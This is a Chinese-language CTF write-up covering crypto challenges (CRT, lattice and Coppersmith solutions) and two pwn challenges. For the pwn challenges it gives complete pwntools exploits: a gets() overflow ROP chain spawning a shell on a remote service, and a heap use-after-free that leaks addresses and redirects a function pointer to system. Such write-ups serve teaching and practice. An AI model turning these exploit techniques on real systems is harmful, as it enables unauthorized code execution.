比赛过后终于能登上去了,拿到题作一下,不过好多都不会。先把作了的记一下。
Crypto(全)
Loud
Loud相关题一共6道,加一道LCG,看来是个主题,不过只作了个开始。
先生成2048位的flag,再生成30个1024位的素数,然后每次输出4个随机数和flag%ps[i]
from Crypto.Util.number import getStrongPrime
import random
B = 2^2048
flag = randint(1, B) # recover this value, wrap the answer in Dead{}
m = 5
n = 30
ps = [getStrongPrime(1024) for _ in range(n)]
S = [[randint(0, ps[i] - 1) for __ in range(m - 1)] + [int(flag % ps[i])] for i in range(n)]
for Si in S:
random.shuffle(Si)
print(ps)
print(S)
flag有2048位,每次给出1024位,只需要取两次的值作crt即可
from loudoutput import ps,S
B = 2^2048
n = 30
k = []
for i in S[0]:
for j in S[1]:
k.append(crt([i,j],ps[:2]))
for i in S[2]:
for j in S[3]:
v = crt([i,j],ps[2:4])
if v in k:
flag = v
print(v)
for i in range(len(ps)):
print(i)
assert flag%ps[i] in S[i]
#----
flag = 18922407639296972246191371432397978315386578296356999291065561930577256620707990789134140462037983153028548632889992396570080764738195093020155868369504445663367423838715497226139033220281291248650335979913894224072853486274204732048435967819251310002386638003616868532044153544112397515364414537918494765550207028116009583951771150570789835978039553665601452592310490071947602188415534393382497457219733205754704698350395226950611052226358712636307609098244054439457510464602328769123309110754080447570445025279198291717920142189390547356394976658948208719675358805041478262910064361936599983778928269567693959525037
flag确实这么长
Really Loud
参数有些调整
from Crypto.Util.number import getStrongPrime
import random
B = 2^2048
flag = randint(1, B)
m = 10
n = 10
ps = [getStrongPrime(1024) for _ in range(n)]
S = [[randint(0, ps[i] - 1) for __ in range(m - 1)] + [int(flag % ps[i])] for i in range(n)]
for Si in S:
random.shuffle(Si)
print(ps)
print(S)
用第1题的方法发现会出现一个错误解,那么就用3个数进行crt,这样flag由于只有2048位,所以3次在其它数都大概是3096位的时候flag是唯一那个2048位的数。
from loudoutput import ps,S
B = 2^2048
n = 10
k = []
for i in S[0]:
for j in S[5]:
for v in S[4]:
k.append(crt([i,j,v],[ps[0],ps[5],ps[4]]))
#找一个2048位的
for v in k:
if v.nbits() == 2048:
flag = v
print(flag)
for i in range(len(ps)):
if flag%ps[i] in S[i]:
print(i)
else:
print(i, 'Err')
#
flag = 31638818418853078181649864376077883964278482051227593353676799652922219184064885435633612151816067267472450398119942365176290962664655592150763500085550148021333142557520201007351742989736302212052763950802275605844080214700453006127672112644483037579375786169343774257817731543264471698224896835340829018822535523018596478456422420125863504209512643044942820023479937882864374186052109604985037140887393271805397537218393358080586009282592023976592035434790072827379995198387039033415010213074681614709647184370784802396779738407385889673372815359773101543636797177847395463022542407449627376305019833575664992027926
再后边的题每次给出128位,这样crt就不能用,不能爆破4^16次,等看别人的吧。
Loud revenge
这个题把p改为128位,给出256组,每组3个噪音加1个余数.看到 无趣的浅 博客,load这题跟这个完全一样.
原理是构造矩阵然后格基约减. 大意应该是求最短向量,矩阵表示如下
其中K是prod(ps)//ps[i],这里提到经验值5120,flag是4096位,当取40组里P是5120位,并不一定能解出最近的flag,博客里多取了1组,这题试了一下多取了5组成功.其实对于83阶和91阶矩阵来说差不了多少时间,反正都很慢.
from output import ps,S
#pi 只有128位, flag 4096位需要 需要40组达到5120,多取1组还不行取45组
#flag<4096位, 模数为128位,S为余数+3个随机数
mlen = 45
p = ps[:mlen]
c = S[:mlen]
C=[]
P=prod(p)
for i,cc in zip(p,c):
pp=P//i
temp=pp*ZZ(inverse_mod(pp,i))
for j in cc:
C.append((j*temp %P))
M=Matrix(ZZ,4*mlen+1)
for i in range(4*mlen):
M[i,i]=2^4096
M[i,-1]=C[i]
M[-1,-1]=P
res=M.LLL()
flag = -res[0][-1]
for i in range(len(ps)):
if flag%ps[i] in S[i]:
print('!', end='')
else:
print('.', end='')
#flag = 82339252692700130560364792251093726523708363824573728808481436214137581958092189741398698534686509175368198395071807266775085210970782524700511305226249658497381518599595077554089130587300952539349825203386800825063602014682452558633579240783377781751150523699023343157264104716018248702594663480096497894198448767631466230733107392194297052314165878485833090460969390281369127378078419113967840754151278351373301928181579589434085680273952517409692006417983954683301912794522191893644367570806136789630458514906866458935783508592833372447949483080006889512831445992057190774608212494115516500504566110867416812132598664917591338227187635199835780235512537379557135107833201383243431618749032296272403922595792004473853272950718974469518981637576678558992472298530006338218388425884168749458145623037339714208838462509678102489990252785014115778308042101412799992501121519636583684684172646706429468022240131296153215513671787662813483619665430678735158035166466787561888364125542588593605175600729162538610181906996554502591658568176065112898905893194323127548654825351372460092942816827040792814683573416437783928062380279159746099213643073325688587584297763664158516802472697276990821227116136495074508131008871191395324325438569
#Dead{82339252692700130560364792251093726523708363824573728808481436214137581958092189741398698534686509175368198395071807266775085210970782524700511305226249658497381518599595077554089130587300952539349825203386800825063602014682452558633579240783377781751150523699023343157264104716018248702594663480096497894198448767631466230733107392194297052314165878485833090460969390281369127378078419113967840754151278351373301928181579589434085680273952517409692006417983954683301912794522191893644367570806136789630458514906866458935783508592833372447949483080006889512831445992057190774608212494115516500504566110867416812132598664917591338227187635199835780235512537379557135107833201383243431618749032296272403922595792004473853272950718974469518981637576678558992472298530006338218388425884168749458145623037339714208838462509678102489990252785014115778308042101412799992501121519636583684684172646706429468022240131296153215513671787662813483619665430678735158035166466787561888364125542588593605175600729162538610181906996554502591658568176065112898905893194323127548654825351372460092942816827040792814683573416437783928062380279159746099213643073325688587584297763664158516802472697276990821227116136495074508131008871191395324325438569}
Really Loud Revenge
与上一题方法相同,这里p给出的是256位,只需要20组即可解出.方法完全相同
LLLoud
与上上题完全相同.(不清楚为什么会出同样的题),两个题的区别就是用secret取代了random取随机数,但这题与随机数无关.
LLLoud-2
这个只给了40组,经确认,40组也行
LCG
参数a,c,m,seed未知,flag由rsa加密,其中p,q由lcg生成。
import random
from Crypto.Util.number import *
import gmpy2
class LCG:
def __init__(self, a, c, m, seed):
self.seed = seed
self.multiplier = a
self.increment = c
self.modulus = m
def next(self):
self.seed = (self.multiplier*self.seed + self.increment) % self.modulus
return self.seed
def __str__(self):
return ",".join(map(str, [self.seed, self.multiplier, self.increment, self.modulus]))
def gen_primes(PRIME_SIZE):
lcg = LCG(random.getrandbits(PRIME_SIZE//4), random.getrandbits(PRIME_SIZE//4), random.getrandbits(PRIME_SIZE//4), random.getrandbits(PRIME_SIZE//4))
r1 = random.getrandbits(PRIME_SIZE//4)
p = r1 << ((PRIME_SIZE*3)//4)
for _ in range(3):
p = p | (lcg.next() << (PRIME_SIZE*(2 - _))//4)
r2 = random.getrandbits(PRIME_SIZE//4)
q = r2 << ((PRIME_SIZE*3)//4)
for _ in range(3):
q = q | (lcg.next() << (PRIME_SIZE*(2 - _))//4)
return lcg, p, q
while True:
lcg, p, q = gen_primes(512)
if gmpy2.is_prime(p) and gmpy2.is_prime(q) and gmpy2.gcd(lcg.multiplier, lcg.modulus) == 1:
break
#print(lcg)
n = p * q
e = 65537
flag = b''
c = pow(bytes_to_long(flag), e, n)
print(f"n: {n}")
print(f"ct: {c}")
print("Hint:")
print([lcg.next() for _ in range(6)])
第一步是求参数,还是ideal大法。两参情况下ideal会得到3个值,最后一个是模,这题有点特殊a和c未定,c由后边部分取负再取模最后除以5(先除5等式也能成立,但gcd不为1)
n = 21650447514664703683541519919331263390282460469744888634490387443119262785059244453207960009159682413880209329211270923006772751974531441721185385117102290236861537255410467283919771278372439649180599019262938453870697814603482585923290155250911013461308363715765472530666765831515068628482160014076801654521
ct = 13119263762666966865889936515574328574427409372529276945448580211178603280310168998625170993340627371121987348265853339044876374353275949199559703791552498065356283102983556442205370872035849628351308403614183495058585452791359893308496622183117417598843112140605324797308265631765340150190302633479928043831
Hint=[29861218495988619292793747700054834633, 80515105569441253388392760789853242718, 146729873894560318431962601721322042903, 147107348315338274128018394071748133508, 166087854880219056255852907837404957463, 210401924703541158042341118614982072753]
e = 0x10001
P.<a,c> = PolynomialRing(ZZ)
Fs = []
for i in range(5):
Fs.append(a*Hint[i]+c - Hint[i+1])
sol = Ideal(Fs).groebner_basis()
#[a + 192730890584774579464696085524960245232*c + 111730724966646401578497494460009927774, 5*c + 146956613039818061905520789526410252310, 244821535106372871320733923646335940415]
m = 244821535106372871320733923646335940415
a = 49726305621493626654897796677001265714
c = 19572984413310961883042626823985137621
先向前推6个,再用coppersmith求剩下的一部分,得到p,q然后rsa解
#LCG前推6个
k = [Hint[0]]
for i in range(6):
v = (k[-1]-c)*pow(a,-1,m)%m
k.append(v)
#k = [29861218495988619292793747700054834633, 145967276824101336464155342270060900783, 125961158474235685228336081290561801638, 63222193525763644835426137281783135333, 86913929669808156912587516747878902743, 151983825669080490765783085918702840763, 119528914967988440232529709268138852613]
k = [ZZ(v) for v in k][1:][::-1]
p0 = (k[0]<<256)|(k[1]<<128)|k[2]
P.<x> = PolynomialRing(Zmod(n))
f = p0+x*2^(128*3)
v = f.monic().small_roots(X=2^128, beta=0.4)
p = int(f(v[0]))
q = n//p
d = inverse_mod(e, (p-1)*(q-1))
m = pow(ct,d,n)
bytes.fromhex(hex(m)[2:])
#Dead{7d19a88ab11151c222a8b}
Pwn
one-punch
这个题用了危险函数gets,这个直接造成栈溢出,虽然前边有检查不允许二次调起,不过这块可以跳过不用。
void __cdecl vuln()
{
if ( strcmp(key, mapped_region) )
{
puts("Two punch man? lameeeeee");
exit(420);
}
memset(mapped_region, 0, 0x15uLL);
mprotect(mapped_region, 0x1000uLL, 1);
fflush(stdout);
gets();
}
EXP
from pwn import *
p = remote('netcat.deadsec.quest', 31794)
#p = process('./one_punch')
elf = ELF('./one_punch')
libc = ELF('./libc.so.6')
context(arch='amd64', log_level = 'debug')
#gdb.attach(p, "b*0x000055555555532e\nc")
p.recvuntil(b'cape! ')
elf.address = int(p.recvline(),16) - 0x1291
print(f"{elf.address = :x}")
pop_rdi = elf.address + 0x0000000000001291 # pop rdi ; ret
leave_ret = elf.address + 0x000000000000132f # leave ; ret
bss = elf.bss()+0x800
p.sendlineafter(b"?\n", b'A'*0x70 + flat(bss, pop_rdi, elf.got['puts'], elf.plt['puts'], pop_rdi, bss, elf.plt['gets'], leave_ret))
libc.address = u64(p.recv(6)+b'\x00\x00') - libc.sym['puts']
print(f"{libc.address = :x}")
p.sendline(flat(0,pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']))
p.interactive()
#dead{I_w4nn4_b3_4_s41ky0u_H3R00000000}
popcron
这个题很长,一会就绕乱。
一个堆题,有两层,第一层是主链,第二层是子链
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // [rsp+8h] [rbp-28h]
__int64 v7; // [rsp+10h] [rbp-20h]
__int64 v8; // [rsp+20h] [rbp-10h]
__int64 v9; // [rsp+28h] [rbp-8h]
sub_1DB5();
while ( 1 )
{
switch ( sub_1BA3() )
{
case 1LL:
m1add(); // calloc 0x40 title 0x1f
break;
case 2LL:
puts_0("enter the index of the movie you would like to edit");
v3 = read_n();
v9 = get_idx(v3);
if ( v9 )
m2edit(v9);
break;
case 3LL:
puts_0("enter the index of the movie you would like to print");
v4 = read_n();
v8 = get_idx(v4);
if ( v8 )
show(v8);
break;
case 4LL:
puts_0("enter the index of the movie you would like to remove");
v5 = read_n();
m4free(v5);
break;
case 5LL:
v6 = 1LL;
v7 = qword_5050;
puts("---------------------------------------");
while ( v7 )
{
printf("Movie at index: %lu\n", v6);
puts("---------------------------------------");
show(v7);
puts("---------------------------------------");
v7 = *(_QWORD *)(v7 + 32);
++v6;
}
break;
case 6LL:
exit(0);
default:
puts("invalid entry, exiting");
exit(1);
}
}
}
第二层
unsigned __int64 __fastcall sub_1C5B(unsigned __int64 a1)
{
unsigned __int64 result; // rax
__int64 v2; // rax
__int64 n; // rax
printf("Editing movie: %s\n", (const char *)a1);
result = sub_1C0B();
if ( result == 4 )
{
puts_0("enter the index of the review you would like to delete");
n = read_n();
result = sub_1415(*(_QWORD *)(a1 + 48), n - 1);
if ( result )
{
sub_15A5(result);
result = --*(_QWORD *)(a1 + 56);
if ( !result )
{
result = a1;
*(_QWORD *)(a1 + 48) = 0LL;
}
}
}
else if ( result <= 4 )
{
switch ( result )
{
case 3uLL:
puts_0("enter the index of the review you would like to edit");
v2 = read_n();
result = sub_1415(*(_QWORD *)(a1 + 48), v2 - 1);
if ( result )
return sub_1B2E(result);
break;
case 1uLL:
return sub_1AE3(a1);
case 2uLL:
return sub_1830(a1);
}
}
return result;
}
先理一下块结构
- 主链,双链结构
- Title: 0x20 标题串可写入0x1f
- next_block:8 指处下一主块指针
- pre_block:8 指向上一主块指针
- sub_chain_head:8 指向子块链的指针
- sub_chain_len:8 子块链的长度
- 子链,每个主块可以带一个子链,子链是单链结构
- next:8
- show_func:8
- msg_length: 8:
- msg: 可指定长度
然后逐一看增删时链的变化,找漏洞,这个漏洞比较隐蔽
子链删除时先找到指定的结点。结点无标记,用顺序号计算。同时当指针为0时也返回。这样当删除的是中间块时返回的是上一块的指针,当是尾块或大于总序号里返回最后一个块的指针。
_QWORD *__fastcall sub_1415(_QWORD *a1, int a2)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i < a2 && a1; ++i )
a1 = (_QWORD *)*a1;
if ( a1 )
return a1;
puts("No reviews allocated");
return 0LL;
}
链重构时的处理,
在指链下一块不为0时,*a1=**a1这个跳过删除块重构链没有问题,也没有残留的指针。
当a1指向最后一块时*a1==0这时只删除了当前块,并没有将上一块的next指针改为0,这样这个块依然挂接在子链中。
void __fastcall sub_15A5(_QWORD **a1)
{
_QWORD *v1; // [rsp+18h] [rbp-8h]
if ( *a1 )
{
v1 = *a1;
*a1 = (_QWORD *)**a1;
free(v1);
}
else
{
free(a1);
}
}
思路:
- 由于建块都是用calloc所以需要先释放7个填满tcache让释放的块进入fastbin才能再次被利用
- 主块大小是0x50,子块也要建0x50,大小保持一致
- 在子链删除8个,最后一个进入到fastbin,并且子链长度不能为0(为0时会清指针)
- 建主块,使用依然挂在子链的UAF的块
- 在子链上增加一块,填充next指针
- 然后回到主块再进行时会显示主块title信息,得到子链的 next指针,也就是堆地址
- 这时候主链的title控制前0x20子链的msg控制后0x20,可以控制整个块,通过指针可以得到想到的信息
- 修改子链块的msg(对应主块next_block)指向一个show_func位置,编辑主块3得到elf地址(对应title)
- 修改子链块的msg,指向got表,编辑主块3得到libc地址
- 修改子链块的msg,指向第一个子块,写入/bin/sh\0 + system替换show_func函数
- 执行show调用 system(/bin/sh)
完整代码
from pwn import *
p = process('./popcorn')
context(arch='amd64', log_level='debug')
elf = ELF('./popcorn')
libc = ELF('./libc.so.6')
menu = b"> "
def add(msg):
p.sendlineafter(menu, b'1')
p.sendafter(menu, msg)
def edit(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(menu, str(idx).encode())
def show(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(menu, str(idx).encode())
def free(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(menu, str(idx).encode())
#---- edit ----
def edittitle(title):
p.sendlineafter(menu, b'1')
p.sendafter(menu, title)
def add2(size,msg):
p.sendlineafter(menu, b'2')
p.sendlineafter(menu, str(size).encode()) #calloc(size+0x20)
p.sendlineafter(menu, b'n') #"Would you like to give a rating? (y/n)"
p.sendafter(menu, msg) #"enter your review"
def editmsg(idx,msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(menu, str(idx).encode())
p.sendafter(menu, msg) #"enter a new review"
def free2(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(menu, str(idx).encode())
add(b'A')
for j in range(10):
edit(0)
add2(0x28, str(j).encode())
for j in [9,8,7,6,5,4,2,3]:
edit(0)
free2(j) #last_block fastbin
add(flat(0,0,0xffff)) #UAF block[0].chain[2].size=0xffff
#leak heap
edit(0)
add2(0x28, b'x') #main.cnt++
edit(2)
p.recvuntil(b"Editing movie: ")
heap_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x610
print(f"{heap_base = :x}")
#return
p.sendlineafter(menu, b'8')
#leak elf.address
edit(0)
editmsg(3, p64(heap_base + 0x2f8))
edit(3)
p.recvuntil(b"Editing movie: ")
elf.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x17d8
print(f"{elf.address = :x}")
#return
p.sendlineafter(menu, b'8')
#leak libc.address
edit(0)
editmsg(3, p64(elf.got['puts']))
edit(3)
p.recvuntil(b"Editing movie: ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")
#return
p.sendlineafter(menu, b'8')
#指向子链第1块,修改show_func函数为system
edit(0)
editmsg(3, p64(heap_base + 0x2f0))
edit(3)
edittitle(b'/bin/sh\x00'+ p64(libc.sym['system']))
show(0)
p.interactive()
这题有一个ida反编不过来的后门函数,可以puts(/flag)可以用获取libc,不过影响不大。毕竟那块是直接复制的。